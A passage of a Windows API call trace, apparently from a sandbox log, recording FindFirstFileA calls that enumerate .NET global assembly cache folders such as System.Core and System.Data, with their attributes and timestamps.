ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa5e7f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa5e7f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.589] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52706fb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa60e0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa60e0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.620] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa65a380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa65a380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.626] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa65a380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa65a380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.631] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa65a380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa65a380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.637] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6804e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa6804e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.643] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6804e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa6804e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.649] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa6a6640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa6a6640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.654] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa6a6640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa6a6640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.661] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa6a6640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa6a6640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.719] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa73ebc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa73ebc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.727] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Core\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa764d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa764d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.733] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa764d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa764d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.738] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa764d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa764d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.744] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa78ae80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa78ae80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.750] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa78ae80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa78ae80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.755] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa78ae80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa78ae80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.760] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa7b0fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa7b0fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.780] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa7d7140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa7d7140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.786] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa7d7140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa7d7140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.791] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Linq\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa7fd2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa7fd2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.796] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa7fd2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa7fd2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.802] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Services\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa7fd2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa7fd2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.809] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa823400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa823400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.814] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Client\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa823400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa823400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.820] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa849560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa849560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.826] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa849560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa849560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.831] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6483e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa849560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa849560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.840] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\3.5.1.0__89845dcd8080cc91\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a26c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa86f6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa86f6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.849] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6483e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa86f6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa86f6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.855] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\3.5.1.0__89845dcd8080cc91\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619d33b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa895820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa895820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.861] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa895820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa895820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.866] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa8bb980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa8bb980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.873] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa8bb980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa8bb980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.881] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa8bb980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa8bb980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.887] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa8e1ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa8e1ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.893] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Design\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa8e1ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa8e1ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.900] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa907c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa907c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.906] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa907c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa907c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.916] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa907c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa907c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.921] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa92dda0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa92dda0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.927] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa92dda0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa92dda0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 